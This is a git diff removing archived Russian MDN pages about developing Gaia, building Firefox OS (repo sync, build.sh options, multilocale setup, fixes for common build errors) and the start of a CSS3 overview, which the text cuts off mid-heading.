Archive/B2G_OS/Developing_Gaia ---- -<div class="summary"> -<p><span class="seoSummary">Тема в Firefox OS это пользовательский интерфейс и набор приложений по умолчанию: он включает в себя экран, блокировка главного экрана, функция дозвона и другие приложения. По существу, Темы являются набором сложных веб-приложений, которые работают на базе платформы Firefox OS. Данный цикл статей охватывает все, что вам нужно знать, чтобы принять участие в проекте Тема.</span></p> -</div> - -<p>В этом руководстве мы постараемся рассказать эффективный способ создания Темы - мы имеем ввиду, что создавая новую Тему, вы можете сталкнуться с ошибками связанными с ней. Первый набор статей может быть проработаны по порядку, или вы можете перейти в соответствующий раздел, если вам нужно освежить память на определенном аспекте процесса.</p> - -<p>После этого, мы предоставим справочные материалы и информацию, охватывающую дополнительные темы.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/7951/gaia-2.0-screen.png" style="float: right; height: 533px; padding: 0px 0px 30px 30px; width: 320px;"></p> - -<h2 id="Основы">Основы</h2> - -<ol> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Test_Gaia_code_changes">Testing Gaia code changes</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li> -</ol> - -<h2 id="Ссылки_на_сборки_Тем">Ссылки на сборки Тем</h2> - -<ul> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Customizing_build-time_apps">Customizing build-time apps</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/make_options_reference">Make options reference</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li> -</ul> - -<h2 id="Смотрите_также">Смотрите также</h2> - -<ul> - <li><a href="/ru/Firefox_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS">Filing bugs against Firefox OS</a></li> - <li><a href="/ru/Firefox_OS/Platform/Gaia/Gaia_apps">Gaia apps guide</a></li> - <li><a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Diversi_modi_per_eseguire_Gaia">Diversi modi per eseguire Gaia</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Market_customizations_guide">Market customizations guide</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Customizing_the_keyboard">Customizing the keyboard in Firefox OS apps</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/Localizing_Firefox_OS">Localizing Firefox OS (guide for localizers)</a></li> - <li><a href="/ru/Firefox_OS/Developing_Gaia/L10n_Best_Practices">L10n Best Practices (for developers)</a></li> -</ul> diff --git a/files/ru/archive/b2g_os/создание/index.html b/files/ru/archive/b2g_os/создание/index.html deleted file mode 100644 index 94b9de2b2c..0000000000 --- a/files/ru/archive/b2g_os/создание/index.html +++ /dev/null @@ -1,410 +0,0 @@ ---- -title: Сборка Firefox OS -slug: Archive/B2G_OS/Создание -tags: - - B2G - - Build documentation - - Firefox OS - - Guide - - Документация построения -translation_of: Archive/B2G_OS/Building ---- -<div></div> - -<div class="summary"> -<p>После того как вы запустили <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites" title="Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">set up your build system</a> и выполняется ваш процесс <a href="/en-US/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build" title="Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build">initial pull and configure</a> кода, вы можете построить загрузки для Gecko. Это руководство объясняет, как.</p> -</div> - -<h2 id="Обновление_кода">Обновление кода</h2> - -<p>Если это ваш не первый раз сборки B2G, вы, возможно, захотите, вытащить последний код, прежде чем начать собирать. Чтобы сделать это, вы должны обновить оба инструмента B2G и зависимости, используя следующие две команды:</p> - -<pre>git pull -./repo sync -d -</pre> - -<p>-d Опция включает различные проекты заголовка, для пересмотра Android манифеста (т.е. мейнстрим версию из хранилища по умолчанию). Это полезно, если вы сделали изменения в репозиториях (и связанные с этим изменения исходных), но вы хотите вернуться к главной версии временно. Это действительно придаст вашей постановке или рабочий каталог изменяется нетронутым (см <a href="http://stackoverflow.com/questions/11448864/what-is-the-usage-for-repo-sync-d-in-android-source-repository">the following SO question</a> для полного объяснения). Если вы не трогал исходный код, вы можете использовать команду нормально:</p> - -<pre>git pull -./repo sync</pre> - -<p>Вы можете обновить конкретной цели make, указав её имя:</p> - -<pre>./repo sync gaia -</pre> - -<p>У команда repo есть и другие варианты, которые могут быть интересны; repo help даст вам много информации.</p> - -<h2 id="Создание">Создание</h2> - -<div class="note"> -<p>Примечание: Перед созданием, вы можете настроить <code>.userconfig</code> фаил сборку. Увидеть <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a> для получения дополнительной информации.</p> -</div> - -<p>Создать загрузочные для Gecko, просто используйте инструмент build.sh:</p> - -<pre>cd B2G -./build.sh -</pre> - -<p>Время для другого перерыва на кофе или, возможно, сон (особенно, если это ваш первый билд, оно займет около 30 минут на Core i7 с 8 Гб оперативной памяти). Как и в шаге настроить, на предыдущей странице, если вы используете каталог ранее извлеченных системных файлов Android, вы должны установить ANDROIDFS_DIR перед запуском <code>build.sh</code>.</p> - -<div class="note"> -<p>Примечание: Для более подробных инструкций по перепрограммированию новой сборки на телефон, читать <a href="/en-US/Firefox_OS/Installing_on_a_mobile_device">Installing Firefox OS on a mobile device</a>.</p> -</div> - -<h3 id="Создание_специальных_модулей">Создание специальных модулей,</h3> - -<p>Если вы хотите построить только конкретный модуль, такой как Gecko, вы можете задать его по имени:</p> - -<pre>./build.sh gecko -</pre> - -<p>Для того, чтобы обновить только одну заявку, вы можете построить только <code>gaia</code> модуль с помощью <code>BUILD_APP_NAME</code> переменная среды:</p> - -<pre>BUILD_APP_NAME=calendar ./build.sh gaia</pre> - -<p>Чтобы получить список модулей, которые вы можете построить, вы можете сделать:</p> - -<pre>./build.sh modules -</pre> - -<h3 id="Установка_количества_процессорных_ядер_для_использования">Установка количества процессорных ядер для использования</h3> - -<p>По умолчанию, B2G построение сценария использует количество ядер вашей системмы, плюс два, как число параллельных задач для запуска. Вы можете изменить это, задав параметр -j при запуске <code>build.sh</code>. Это может быть удобно, если вы используете вашу систему для других вещей, а созданию на заднем плане нужно немного уменьшить нагрузку на процессор. Это также удобно, когда вы испытываете при построении проблеммы, это может сделать вывод Ошибки при чтении из процесса сборки легче, когда у вас есть только одна задача процесса в это время!</p> - -<p>Например, чтобы построить с помощью всего двух параллельных задач:</p> - -<pre>./build.sh -j2 -</pre> - -<p>Наиболее распространенным примером использования этого, заключается в предотвращении построения работающего параллельно для остальных. Это делает вывод процесса намного проще для чтения, и позволяет легче разобраться с проблеммой сборки. Для этого:</p> - -<pre>./build.sh -j1 -</pre> - -<p> </p> - -<h2 id="Создание_multilocale">Создание multilocale</h2> - -<p>Чтобы создать multilocale сборки, выполните следующие действия:</p> - -<h4 id="Gaia">Gaia</h4> - -<ol> - <li>Определите, какие Gaia языки использовать. Мы в настоящее время используюем <a href="https://github.com/mozilla-b2g/gaia/blob/master/locales/languages_dev.json"><code>locales/languages_dev.json</code></a> и <a href="https://github.com/mozilla-b2g/gaia/blob/master/locales/languages_all.json"><code>locales/languages_all.json</code></a> как наши Gaia языковые файлы.</li> - <li>Клонирование соответствующие локали <a href="http://hg.mozilla.org/gaia-l10n">http://hg.mozilla.org/gaia-l10n</a> в каталоге; мы используем <code>gaia-l10n/</code>. You could use the <code>locales/</code> directory . Вы должны будете клонировать репо для каждого региона, указанного в файле языках.</li> - <li>В вашей среде, установите <code>LOCALE_BASEDIR</code> к абсолютному пути каталога в шаге 2. Set <code>LOCALES_FILE</code> к абсолютному пути к файлу на шаге 1.</li> - <li>Кроме того, вы можете установить <code>GAIA_DEFAULT_LOCALE</code> Если вы хотите установить локаль по умолчанию.</li> -</ol> - -<pre style="font-size: 12px;">cd gaia/locales/ -hg clone https://hg.mozilla.org/releases/gaia-l10n/v1_2/es</pre> - -<div>Установите переменные окружения:</div> - -<div> </div> - -<pre>export LOCALE_BASEDIR=$PWD/locales -export LOCALES_FILE=$PWD/locales/languages_dev.json -export GAIA_DEFAULT_LOCALE=es -</pre> - -<p>И <code>languages-dev.json</code> может быть заменен самостоятельно <code>languages-own.json</code> Путь, который мог быть сформирован как этот. Вы должны добавить запись на каждый репо клонированных в каталоге локали .:</p> - -<pre>{ - "en-US" : "English (US)", - "es" : "Español" -} -</pre> - -<div> -<p>Ошибка 884752(ноябрь 2013), чтобы добавить раскладки клавиатуры (если имеются в Gaia) используйте параметр GAIA_KEYBOARD_LAYOUTS</p> - -<p>Ошибка: https://bugzilla.mozilla.org/show_bug.cgi?id=884752</p> - -<p>Макеты: https://github.com/mozilla-b2g/gaia/tree/v1.2/keyboard/layouts</p> - -<p>Например, чтобы добавить на испанском и итальянском языках раскладку клавиатуры, выполните предыдущую команду добавления</p> - -<pre> GAIA_KEYBOARD_LAYOUTS=en,es,it</pre> - -<p><span style="line-height: 1.5;">В этот момент вы готовы подключать Gaia к телефону в первый раз. Подключите телефон и убедитесь, что удаленная отладка проверяется Settings > Device Information > More Information > Developer. Вы должны сделать это один раз, для собственного телосложения Gaia прив включен благодаря REMOTE_DEBUGGER=1:</span></p> - -<pre> make clean && make production LOCALES_FILE=locales/languages-own.json</pre> - -<div class="note"> -<p>Если вы хотите клонировать и / или обновить все поддерживаемые языки для той или иной отрасли, вы можете использовать <a href="https://gist.github.com/TheoChevalier/254461892d8bf118e1bc">this script</a></p> -</div> - -<h4 id="Gecko">Gecko</h4> - -<ol> - <li>Определите, какие Gecko языки добавить в использовании. Мы в настоящее время используем <a href="http://hg.mozilla.org/releases/mozilla-b2g18/file/default/b2g/locales/all-locales">b2g/locales/all-locales</a> как Gecko язык файла.</li> - <li>Клонирование соответствующих локали в каталоге; это может быть gecko <code>-l10n/</code> . - <ul> - <li>Для Mozilla-central, используйте <a href="http://hg.mozilla.org/l10n-central/">http://hg.mozilla.org/l10n-central/</a></li> - <li>Для mozilla-aurora, используйте <a href="http://hg.mozilla.org/releases/l10n/mozilla-aurora/">http://hg.mozilla.org/releases/l10n/mozilla-aurora/</a></li> - <li>Для mozilla-beta или mozilla-b2g18 или mozilla-b2g26_v1_2, используйте <a href="http://hg.mozilla.org/releases/l10n/mozilla-beta/">http://hg.mozilla.org/releases/l10n/mozilla-beta/</a></li> - </ul> - </li> - <li>Клон <a href="http://hg.mozilla.org/build/compare-locales">compare-locales</a>. Если вы предпочитаете Git, пожалуйста, убедитесь, что используете RELEASE_0_9_7 tag.</li> - <li> - <p>В вашей среде, установите <code>L10NBASEDIR</code> к абсолютному пути каталога в шаге 2. Set <code>MOZ_CHROME_MULTILOCALE</code> в строку разделенных пробелами районов на шаге 1.</p> - - <p>Добавить <code>compare-locales/scripts</code> dir в вашем <code>PATH</code>, и <code>compare-locales/lib</code> на ваш <code>PYTHONPATH</code>.</p> - Например, - - <pre>export L10NBASEDIR=$PWD/gecko-l10n -export MOZ_CHROME_MULTILOCALE="ja zh-TW" -export PATH="$PATH:$PWD/compare-locales/scripts" -export PYTHONPATH="$PWD/compare-locales/lib" -</pre> - - <p>После того как выше написанное настроено, вы можете запустить build.sh.</p> - - <p>Вы можете <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=818560#c9/">use .userconfig</a> а также:</p> - - <pre>## Gaia -export GAIA_DEFAULT_LOCALE=es -export LOCALE_BASEDIR=/b2g/gaia-l10n-transifex-v1.2/ -export LOCALES_FILE=/b2g/languages_propio.json - -## Gecko -export L10NBASEDIR='/b2g/gecko-l10n-v1.2' -export MOZ_CHROME_MULTILOCALE="es-ES eu ca gl pt-BR" -export PATH="$PATH:/b2g/compare-locales/scripts" -export PYTHONPATH="/b2g/compare-locales/lib" - </pre> - </li> -</ol> - -<div class="note"> -<p>Есть некоторые различия между Gaia языком и Gecko . Например, в Gaia, Spanish "es", а на Gecko tranlated к "Spanish of Spain" (es-ES)</p> -</div> - -<p>Эти инструкции помогут нам сгладить многие вещи.</p> - -<h2 id="Известные_ошибки">Известные ошибки</h2> - -<h3 id="Построить_не_удалось!">"Построить не удалось!"</h3> - -<p><span id="cke_bm_81S" style="display: none;"> </span>Если вы получаете общем "Построить не удалось" сообщение, вы всегда должны попытаться восстановить подключение телефона к компьютеру; Иногда телефон может быть демонтирована по множеству причин.</p> - -<div class="note"> -<p>Обратите внимание, что настройки и создание B2G для Keon не работает на Mac. Вы должны будете использовать Linux для создания для этого устройства.<span id="cke_bm_81E" style="display: none;"> </span></p> -</div> - -<h3 id="Mountain_Lion_конкретных_ошибок_сборки">Mountain Lion конкретных ошибок сборки</h3> - -<div> -<p>1. Если вы строите на OS X 10.8 "Mountain Lion" (Xcode 4.4.1или выше) и следующая ошибка:</p> - -<pre style="font-size: 14px;">external/qemu/android/skin/trackball.c:130:25: error: 'M_PI' undeclared (first use in this function)</pre> -Отредактируйте файл: <code style="font-size: 14px;">B2G/external/qemu/Makefile.android</code> and add in line 78: - -<pre style="font-size: 14px;">MY_CFLAGS += -DM_PI=3.14159265358979323846264338327950288 #/* B2G_fix: not finding M_PI constant */ -</pre> -</div> - -<div>2. Если вы находитесь на Mountain Lion, и вы получаете ошибка во время ./build.sh like:</div> - -<div> -<pre>/System/Library/Frameworks/IOKit.framework/Headers/usb/USB.h:797:9: error: too many #pragma options align=reset</pre> - -<p>Замените все экземпляры на '#pragma options align=reset' with '#pragma pack()' inside /System/Library/Frameworks/IOKit.framework/Headers/usb/USB.h</p> -</div> - -<h3 id="Неопределенные_символы__sqlite3_androidopt_handle_pragma_и__sqlite3_androidopt_open">Неопределенные символы "_sqlite3_androidopt_handle_pragma" и "_sqlite3_androidopt_open"</h3> - -<p>Эта ошибка появляется, если вы строите на OS X 10.7 или более новую версию с Xcode 4.5 или более поздней версии. Чтобы исправить это, примените патч на <a href="https://groups.google.com/forum/#!msg/android-building/yAfPyUqCsiQ/7zvICk4GWjYJ">https://groups.google.com/forum/#!msg/android-building/yAfPyUqCsiQ/7zvICk4GWjYJ</a> для external/sqlite/dist/Android.mk файл.</p> - -<h3 id="KeyedVector.h19331_error_indexOfKey_не_был_объявлен_в_этой_области">KeyedVector.h:193:31: error: indexOfKey не был объявлен в этой области</h3> - -<p>Эта ошибка появляется, когда ваша версия GCC слишком новая. Установите gcc/g++/g++-multilib 4.6.x versions. Увидеть <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customizing with the .userconfig file</a> для получения дополнительной информации.</p> - -<div class="note"> -<p>Сообщество Примечание: Можно использовать gcc 4.7.x с небольшими изменениями в коде B2G (GCC поможет вам), но вы не получите никакой помощи! Ни с изменения кода, ни с ошибками не встретите.</p> -</div> - -<h3 id="arm-linux-androideabi-g_Internal_error_Killed_program_cc1plus">arm-linux-androideabi-g++: Internal error: Killed (program cc1plus)</h3> - -<p>Если вы видите это сообщение, скорее всего это означает, что свободной памяти не хватает. Убедитесь, что имеется достаточно свободной памяти перед запуском <code>./build.sh</code>. Это должен работать нормально, если ваша система имеет 4GB of RAM.</p> - -<h3 id="...is_referenced_by_DSO_ошибка">"...is referenced by DSO" ошибка</h3> - -<p>При создании эмулятора, если вы получаете /usr/bin/ld: out/host/linux-x86/obj/EXECUTABLES/triangleCM_intermediates/triangleCM: скрытый символ `_XGetRequest' in out/host/linux-x86/obj/STATIC_LIBRARIES/libSDL_intermediates/libSDL.a(SDL_x11dyn.o) ссылается DSO.</p> - -<p>Вы можете получить это с некоторыми версиями в Binutils. Если вы запустите Debian Stable, вы можете использовать <em>gold</em> линкер путем установки пакета <code>binutils-gold</code>. Следует отметить, что <em>gold</em> линкер уже установлены <code>binutils</code>, но это не используется default; <code>binutils-gold</code> делает именно это.</p> - -<h3 id="Если_вы_получаете_ошибки_построения_в_то_время_как_система_сборки_выполняет_тесты">Если вы получаете ошибки построения в то время как система сборки выполняет тесты</h3> - -<p>Иногда (особенно после сборки инструмента или обновления операционной системы) вы получите странные ошибки, как это, когда система сборки работает его испытания после сборки:</p> - -<pre>Generating permissions.sqlite... -test -d profile || mkdir -p profile -run-js-command permissions -WARNING: permission unknown:offline-app -WARNING: permission unknown:indexedDB-unlimited -build/permissions.js:122: NS_ERROR_UNEXPECTED: Component returned failure code: 0x8000ffff (NS_ERROR_UNEXPECTED) [nsIPermissionManager.add] -make[1]: *** [permissions] Error 3 -make: *** [gaia/profile.tar.gz] Error 2</pre> - -<p>В этой ситуации, попробуйте удалить <code>gaia/xulrunner-sdk</code> каталог и повторно потянув код:</p> - -<pre>rm -r gaia/xulrunner-sdk -</pre> - -<p>Это удаляет загруженный, предварительно скомпилированную копию <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a> которую система сборки извлекает автоматически; на следующей сборке, новой копии XULRunner будет автоматически восстановлен.</p> - -<h3 id="Не_удалось_получить_platformlibcore">Не удалось получить platform/libcore</h3> - -<p>Если вы пытались настроить ваш B2G построенный для Nexus S (<code>./config.sh nexus-s</code>) и получили ошибку, связанную с libcore, это из-за проблем с Линаро Git, которая кормится тут. Это исправит, проверка на B2G манифест, вот так:</p> - -<pre class="brush: bash">git clone https://github.com/mozilla-b2g/b2g-manifest.git</pre> - -<p>Редактировать <code>nexus-s.xml</code> подать в этом репо, заменяя запись Линаро Git со ссылкой на AOSP ходом, который следует читать както так:</p> - -<pre class="brush: xml"><default revision="refs/tags/android-4.0.4_r1.2" - remote="aosp" - sync-j="4" /></pre> - -<p>Фиксировать эти изменения (<code>git commit -a</code>) а затем изменить <code>config.sh</code> подать в главном отделении главного B2G репо, что вы проверили, чтобы указать на модифицированной местного манифеста вместо Mozilla одного:</p> - -<pre class="brush: bash">GITREPO=${GITREPO:-"file:///home/path/to/my/b2g-manifest"}</pre> - -<h3 id="Clang_ошибки_при_сборке_Xcode_5_on_Mac">Clang ошибки при сборке Xcode 5 on Mac</h3> - -<p>Если вы строите на Mac OS X 10.8 with Xcode 5, Вы, вероятно, увидите следующие ошибки:</p> - -<pre class="brush: bash">clang: error: argument unused during compilation: '-include system/core/include/arch/darwin-x86/AndroidConfig.h' -clang: error: argument unused during compilation: '-U DEBUG' -clang: error: argument unused during compilation: '-U DEBUG' -clang: error: argument unused during compilation: '-MF out/host/darwin-x86/obj/EXECUTABLES/obbtool_intermediates/Main.d' -make: *** [out/host/darwin-x86/obj/EXECUTABLES/obbtool_intermediates/Main.o] Error 1</pre> - -<p>Это происходит потому, Xcode 5 changes the g++ compiler in <code>/usr/bin</code>, который тормозит процесс сборки, если вы пытаетесь использовать его для компиляции. Для того, чтобы обойти эту проблему, измените следующую строку в <code>build/core/combo/HOST_darwin-x86.mk:</code></p> - -<pre class="brush: bash">HOST_CXX := g++</pre> - -<p>для</p> - -<pre class="brush: bash">HOST_CXX := g++-4.6 -ifeq (,$(wildcard /usr/local/bin/g++-4.6)) - HOST_CXX := g++ -endif</pre> - -<p>Далее необходимо удалить gcc, используя настройку (это предполагает, вы запустите <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Run_Firefox_OS_Mac_Bootstrap">Mac OS bootstrap script</a> — если нет, то вы должны будете заполнить этот шаг, прежде чем продолжить):</p> - -<pre class="brush: bash">brew uninstall gcc-4.6</pre> - -<p>Теперь тоже самое gcc с мультибиблиотеки и c++ поддержка:</p> - -<pre class="brush: bash">brew install --enable-cxx https://gist.github.com/artlogic/6988658/raw/aeb9d1ea098274ad3f3fe2637b9df7f308a8a120/gcc-4.6.rb</pre> - -<p>Убедитесь /usr/local/bin на вашей PATH. Вы можете сделать это временно, набрав следующую команду в командной подсказке:</p> - -<pre class="brush: bash">export PATH=/usr/local/bin:$PATH</pre> - -<p>Вы можете сделать выше изложенное изменение постоянными, добавив его <code>.bash_profile</code> файл в домашнем каталоге.</p> - -<p>После того как вы установите PATH, убедитесь, что вы можете запустить обе из следующих команд:</p> - -<pre class="brush: bash">gcc-4.6 -v - -g++-4.6 -v</pre> - -<p>Если какой-либо из этих команд выпадет, то Вам потребуется заново связать ваш gcc using brew с помощью следующей команды:</p> - -<pre class="brush: bash">brew link --overwrite gcc-4.6</pre> - -<p>Это также возможно, что <code>/usr/bin/c++</code> не указывает на clang++ как это и должно быть с Xcode 5 installed. Вы можете определить это, введя следующее:</p> - -<pre class="brush: bash">ls -l /usr/bin/c++</pre> - -<p>Она должна возвращать что-то вроде этого:</p> - -<pre class="brush: bash">lrwxr-xr-x 1 root admin 7 Sep 19 11:40 /usr/bin/c++ -> clang++ -</pre> - -<p>Если c++ указывает на нечто иное, чем clang++, обновить с помощью следующих команд:</p> - -<pre class="brush: bash">sudo rm /usr/bin/c++ - -sudo ln -s /usr/bin/clang++ /usr/bin/c++</pre> - -<h3 id="Невозможно_вытянуть_файлы_из_резервной_копии_каталога">Невозможно вытянуть файлы из резервной копии каталога</h3> - -<p>Это может произойти, когда соединение USB не работает, а сценарий извлекает данные от устройства к компьютеру.</p> - -<p>Когда вы запустите скрипт еще раз, вы, вероятно, получите следующее (пример для пик устройства):</p> - -<pre class="brush: bash"><code>Pulling files from ../../../backup-peak -cat: ../../../backup-peak/system/build.prop: No such file or directory -Found firmware with build ID -Pulling "libaudioeq.so" -cp: cannot stat `../../../backup-peak/system/lib/libaudioeq.so': No such file or directory -Failed to pull libaudioeq.so. Giving up. - -> Build failed! < - -Build with |./build.sh -j1| for better messages -If all else fails, use |rm -rf objdir-gecko| to clobber gecko and |rm -rf out| to clobber everything else.</code></pre> - -<p>Чтобы решить эту проблему, это не нужно вынимать всю objdir-gecko из каталогов. Просто удалите каталог для резервного копирования, как это (для примера выше):</p> - -<pre class="brush: bash"><code class="brush: bash">$rm -rf backup-peak</code></pre> - -<h3 id="Вопросы_Эмулятор_сборки"><strong>Вопросы Эмулятор сборки</strong></h3> - -<p>Если вы делаете эмулятор построение, нужно обратить внимание на эти вопросы:</p> - -<div class="note"> -<p><strong>Во-первых, обратите внимание, что вы не должны использовать эмулятор x86 - это трудно установить и не очень хорошо поддерживается.</strong></p> -</div> - -<p>Далее, сборка-система для эмулятора строит как 32-битные, так и 64-битные версии эмулятора. Так, как эмулятор зависит от OpenGL, означает, что вы должны иметь как 32-битные, так и 64-битные версии OpenGL библиотеки установленые в вашей системе. Смотрите обсуждение в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=897727" title="https://bugzilla.mozilla.org/show_bug.cgi?id=897727">bug 897727</a>.</p> - -<p>Есть два способа, которыми вы можете решить эту проблему:</p> - -<h4 id="Решение_1_оба_32bit_и_64bit_OpenGL_установлен_LIBS_с_правом_символические_ссылки">Решение #1: оба 32bit и 64bit OpenGL установлен LIBS, с правом символические ссылки</h4> - -<p>Если ваш Linux дистрибутив имеет мультибиблиотечные пакеты для OpenGL libraries, вы можете попытаться установить их. Затем вам придется вручную создать некоторые символические ссылки.</p> - -<p>Например, вот ситуация на Ubuntu 12.04 LTS x86-64. На этом распределении, <code>libgl1-mesa-dev</code> package не может быть установлен одновременно в x86-64 и i386 версии, но вы можете иметь следующая комбинация пакетов одновременно установлены:</p> - -<pre class="bz_comment_text" id="comment_text_12">sudo apt-get install libgl1-mesa-dev libglapi-mesa:i386 libgl1-mesa-glx:i386</pre> - -<p>После выполнения этой команды вам все равно придется вручную создать несколько символических ссылок для эмулятора, строят, чтобы добиться успеха:</p> - -<pre class="note">sudo ln -s /usr/lib/i386-linux-gnu/libX11.so.6 /usr/lib/i386-linux-gnu/libX11.so -sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so</pre> - -<h4 id="Решение_2_просто_патч_эмулятор_так_это_только_создает_64bit">Решение #2: просто патч эмулятор так это только создает 64bit</h4> - -<p>Просто внесите <a href="https://bug897727.bugzilla.mozilla.org/attachment.cgi?id=786280" title="https://bug897727.bugzilla.mozilla.org/attachment.cgi?id=786280">this patch</a> для sdk/ git repository под B2G repo. Это приведет B2G emulator к попыткам построить 64bit emulator только если вы находитесь на 64bit system, Таким образом, избегая каких-либо проблем с мультибиблиотекой. 32bit emulator в любом случае не должен использоваться на 64bit system. Это не простое решение, до этого патча в конечном итоге bit-rots.</p> - -<h2 id="Следующий_шаг">Следующий шаг</h2> - -<p>После создания, ваш следующий шаг зависит от того, как вы построили Boot на Gecko или эмулятор или для реального мобильного устройства; детали в следующих статьях:</p> - -<ul> - <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="Mozilla/Firefox_OS/Using_the_B2G_emulators">Using the B2G emulators</a></li> - <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="Mozilla/Firefox_OS/Using_the_B2G_desktop_client">Using the B2G desktop client</a></li> - <li><a href="/en-US/docs/Mozilla/Firefox_OS/Installing_on_a_mobile_device" title="Mozilla/Firefox_OS/Installing_on_a_mobile_device">Installing Boot to Gecko on a mobile device</a></li> - <li><a href="/en-US/docs/Mozilla/Firefox_OS/Pandaboard" title="Mozilla/Firefox_OS/Pandaboard">Installing Boot to Gecko on a pandaboard</a></li> -</ul> -</div> - -<h3 id="Отправка_ошибок_на_B2GFirefox_OSGaia">Отправка ошибок на B2G/Firefox OS/Gaia</h3> - -<p>После того как вы получили B2G/Firefox OS построение работает, вы начнете подавать ошибки против этой конкретной версии, Firefox OS сообщество может улучшить положение вещей как можно более эффективно. Вы хотите, чтобы <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox%20OS">file the bug on Bugzilla</a>, вместе "Firefox OS" проект, дадут включить специфику версии:</p> - -<ol> - <li>Для начала, расскажите основной номер версии, e.g. <em>1.4.0.0-prerelease</em>. Это может быть найдено на устройстве <em>Settings > Device Information</em>.</li> - <li>Вы можете предоставить более конкретные идентификаторы версий, вернувшихся из текущих хэшей в gaia и gecko repositories. Это может быть сделано как так: - <pre class="brush: bash">#!/bin/bash -(cd gaia; echo "gaia $(git rev-parse HEAD)") -(cd gecko; echo "gecko $(git rev-parse HEAD)")</pre> - </li> -</ol> diff --git a/files/ru/archive/css3/index.html b/files/ru/archive/css3/index.html deleted file mode 100644 index fd4945adf6..0000000000 --- a/files/ru/archive/css3/index.html +++ /dev/null @@ -1,974 +0,0 @@ ---- -title: CSS3 -slug: Archive/CSS3 -tags: - - CSS - - Intermediate - - Справочник по CSS -translation_of: Archive/CSS3 ---- -<p><span class="seoSummary"><strong>CSS3</strong> это последнее эволюционное изменение языка <em>Cascading Style Sheets</em>, и оно направлено на расширение CSS2.1. Оно привносит давно ожидаемые новшества, такие как закруглённые углы, тени, <a href="/ru//docs/Web/Guide/CSS/Using_CSS_gradients" title="Using CSS gradients">градиенты</a>, <a href="/ru/docs/Web/Guide/CSS/CSS_transitions" title="CSS transitions">переходы</a> или <a href="/ru/docs/Web/Guide/CSS/Using_CSS_animations" title="CSS animations">анимация</a>, а также новые макеты, такие как <a href="/ru/docs/Web/Guide/CSS/Using_multi-column_layouts" title="Using CSS multi-column layouts">multi-columns</a>, «резиновый» дизайн или сеточный макет.</span> Экспериментальный функционал помечен специальными префиксами разработчика, и он не должен использоваться в производственной среде, либо должен использоваться с особой осторожностью, так как его синтаксис и поведение может быть изменено в будущем.</p> - -<h2 id="Модули_и_процесс_стандартизации">Модули и процесс стандартизации</h2> - -<p>CSS Level 2 потребовалось 9 лет, с августа 2002 до июня 2011, чтобы получить статус рекомендации. Это случилось по причине того, что несколько вторичных особенностей задерживали всю спецификацию. Чтобы ускорить стандартизацию беспроблемных частей, <a class="external" href="http://www.w3.org/blog/CSS/" title="http://www.w3.org/blog/CSS/">Рабочая группа CSS</a> W3C в своём решении известном как <a class="external" href="http://fantasai.inkedblade.net/weblog/2011/inside-csswg/modules" title="http://fantasai.inkedblade.net/weblog/2011/inside-csswg/modules">Пекинская доктрина</a>, разделила CSS на меньшие компоненты, называемые <em>модулями</em>. Каждый из таких модулей теперь является независимой частью языка и проходит стандартизацию в своем темпе, независимо от других частей. Когда одни модули уже имеют статус рекомендации W3C, другие всё ещё находятся в стадии разработки. Так же появляются новые модули, когда в этом есть необходимость.</p> - -<p><a href="/@api/deki/files/6120/=CSS_Modules_and_Snapshots.png" title="CSS_Modules_and_Snapshots.png"><img alt="CSS Modules and Snapshots as defined since CSS3" class="internal lwrap" src="/files/3623/CSS_Modules_and_Snapshots.png" style="float: left; width: 550px;"> </a> Официально не существует стандарта CSS3 как такового. Каждый модуль стандартизируется независимо, стандарт CSS состоит из CSS2.1 с поправками и расширяется завершенными модулями, необязательно с одинаковым номером уровня. В каждый момент времени может быть определён снэпшот стандарта CSS, состоящий из CSS2.1 и набора сформировавшихся модулей.</p> - -<p>Консорциум W3 периодически публикует такие снэпшоты, как в <a class="external" href="http://www.w3.org/TR/css-beijing/" title="http://www.w3.org/TR/css-beijing/">2007</a> или <a class="external" href="http://www.w3.org/TR/css-2010/" title="http://www.w3.org/TR/css-2010/">2010.</a></p> - -<p>Хотя на сегодняшний день нет стандартизованных модулей с уровнем выше чем 3, это изменится в будущем. Некоторые модули, такие как Selectors 4 или CSS Borders and Backgrounds Level 4, уже имеют редакторский набросок, хотя и не имеют статуса Первого Опубликованного Рабочего Наброска.</p> - -<h2 id="Статус_модулей_CSS">Статус модулей 